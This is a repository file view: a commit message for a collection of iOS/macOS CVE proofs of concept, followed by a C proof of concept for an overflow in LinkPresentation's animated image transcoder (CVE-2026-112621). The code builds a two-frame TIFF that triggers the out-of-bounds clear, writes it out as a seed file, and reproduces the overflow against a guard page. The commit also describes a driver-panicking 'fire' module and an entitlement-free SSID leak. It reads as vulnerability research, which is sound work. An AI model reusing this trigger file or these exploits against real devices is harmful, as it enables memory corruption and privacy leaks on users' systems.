Files
cinder27/CVE-2026-112621/CVE-2026-112621.c
T
JBJF ed682e859b v2.1 — CVE-2026-112705 / 112621 / 84636
Three public research arrivals, each with a .swift and .c POC folder:

- CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers): app split into a
  property probe (ave.ntl) and a deliberate fire module (ave.ntl.fire);
  C twin carries a --force-host gate because a frame submit reaches the
  same driver that panicked the dev Mac, so the host only builds it
- CVE-2026-112621 (LinkPresentation LPAnimatedImageTranscoder): 256x16 ->
  256x48 container, loopback og:image delivery, LPMetadataProvider; probe
  checks the pool math, fire runs the real transcode; C twin reproduces the
  48-row clear against a guard page (32,768 B past the 16,384-byte pool)
- CVE-2026-84636 (configd dynamic store): SSID + router MAC without the
  wifi-info entitlement, compared in-process with CNCopyCurrentNetworkInfo

56 modules, 34 CVE folders, 45 Swift POC files, 34 C twins. Device IPA
2.1 build 4; simulator regression: sc.dynamicstore / ave.ntl / lp.heic all
done (overflow=32768, NTL refused 0/4 on the simulator's encoder path).
2026-10-31 15:27:09 +08:00

151 lines
6.1 KiB
C

// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
// C twin of the Swift POC: build the two-frame container, then reproduce the exact
// draw that goes out of bounds.
//
// The transcoder sizes its pixel pool from frame 0 (256x16, 1024-byte row stride,
// 16384 bytes of pixel data) and then draws the current frame with the frame's own
// height. Frame 1 is 256x48, so CGContextClearRect clears 48 rows into a 16-row
// buffer.
//
// This file places the 16-row buffer directly against a PROT_NONE page, catches the
// first faulting store, and reports the distance past the pool. It never corrupts
// live memory and never touches the kernel.
//
// Build: clang -O2 -o cve-2026-112621 CVE-2026-112621.c \
// -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112621 [out.tiff]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/mman.h>
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static sigjmp_buf jump;
static volatile sig_atomic_t faulted;
static volatile uintptr_t fault_addr;
static void on_fault(int sig, siginfo_t *info, void *ctx) {
(void)sig; (void)ctx;
faulted = 1;
fault_addr = (uintptr_t)info->si_addr;
siglongjmp(jump, 1);
}
static CGImageRef solid(int w, int h, CGFloat r, CGFloat g, CGFloat b) {
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
CGContextRef ctx = CGBitmapContextCreate(NULL, w, h, 8, w * 4, cs,
kCGImageAlphaPremultipliedLast);
CGContextSetRGBFillColor(ctx, r, g, b, 1.0);
CGContextFillRect(ctx, CGRectMake(0, 0, w, h));
CGImageRef img = CGBitmapContextCreateImage(ctx);
CGContextRelease(ctx);
CGColorSpaceRelease(cs);
return img;
}
static CFMutableDataRef build_tiff(void) {
CFMutableDataRef data = CFDataCreateMutable(NULL, 0);
CGImageDestinationRef dest = CGImageDestinationCreateWithData(data, CFSTR("public.tiff"), 2, NULL);
if (!dest) { CFRelease(data); return NULL; }
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
CGImageDestinationAddImage(dest, f0, NULL);
CGImageDestinationAddImage(dest, f1, NULL);
int ok = CGImageDestinationFinalize(dest);
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
if (!ok) { CFRelease(data); return NULL; }
return data;
}
static void probe(CFDataRef data) {
CGImageSourceRef src = CGImageSourceCreateWithData(data, NULL);
if (!src) { printf("ImageIO refused the container\n"); return; }
size_t count = CGImageSourceGetCount(src);
printf("count=%zu bytes=%ld\n", count, (long)CFDataGetLength(data));
for (size_t i = 0; i < count && i < 2; i++) {
CGImageRef img = CGImageSourceCreateImageAtIndex(src, i, NULL);
if (img) {
printf("frame[%zu] %zux%zu\n", i, CGImageGetWidth(img), CGImageGetHeight(img));
CGImageRelease(img);
}
}
CFRelease(src);
}
int main(int argc, char **argv) {
CFMutableDataRef tiff = build_tiff();
if (!tiff) { printf("could not build the two-frame container\n"); return 1; }
probe(tiff);
if (argc > 1) {
CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1],
strlen(argv[1]), false);
CGImageDestinationRef dest = CGImageDestinationCreateWithURL(url, CFSTR("public.tiff"), 2, NULL);
if (dest) {
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
CGImageDestinationAddImage(dest, f0, NULL);
CGImageDestinationAddImage(dest, f1, NULL);
CGImageDestinationFinalize(dest);
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
printf("seed written: %s\n", argv[1]);
}
CFRelease(url);
}
// Reproduce the transcoder's buffer sizing: pool from frame 0, draw from frame 1.
size_t page = (size_t)sysconf(_SC_PAGESIZE);
size_t stride = 1024; // 256 px * 4 bytes, frame 0 row
size_t pool = 16 * stride; // frame 0 pixel data: 16384 bytes
size_t pool_pages = (pool + page - 1) / page;
size_t total = (pool_pages + 1) * page;
unsigned char *base = mmap(NULL, total, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (base == MAP_FAILED) { perror("mmap"); return 1; }
unsigned char *guard = base + pool_pages * page;
if (mprotect(guard, page, PROT_NONE) != 0) { perror("mprotect"); return 1; }
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_fault;
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
sigemptyset(&sa.sa_mask);
sigaction(SIGBUS, &sa, NULL);
sigaction(SIGSEGV, &sa, NULL);
// The buffer the pool handed out, with exactly pool bytes before the guard.
unsigned char *buf = guard - pool;
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
CGContextRef ctx = CGBitmapContextCreate(buf, 256, 48, 8, stride, cs,
kCGImageAlphaPremultipliedLast);
printf("CGBitmapContextCreate(256x48 over a %zu-byte pool) = %p\n", pool, (void *)ctx);
if (!ctx) {
printf("context rejected — width/stride mismatch would stop the trigger here\n");
munmap(base, total);
CFRelease(tiff);
return 0;
}
printf("CGContextClearRect: 48 rows = %zu bytes, pool = %zu bytes\n", 48 * stride, pool);
if (sigsetjmp(jump, 1) == 0) {
CGContextClearRect(ctx, CGRectMake(0, 0, 256, 48));
printf("no fault — the write stayed inside the mapping\n");
} else {
printf("fault at guard + %lu bytes\n", (unsigned long)(fault_addr - (uintptr_t)guard));
printf("oracle: the clear walked %zu bytes past the 16-row pool before the guard page stopped it\n",
48 * stride - pool);
}
CGContextRelease(ctx);
CGColorSpaceRelease(cs);
munmap(base, total);
CFRelease(tiff);
return 0;
}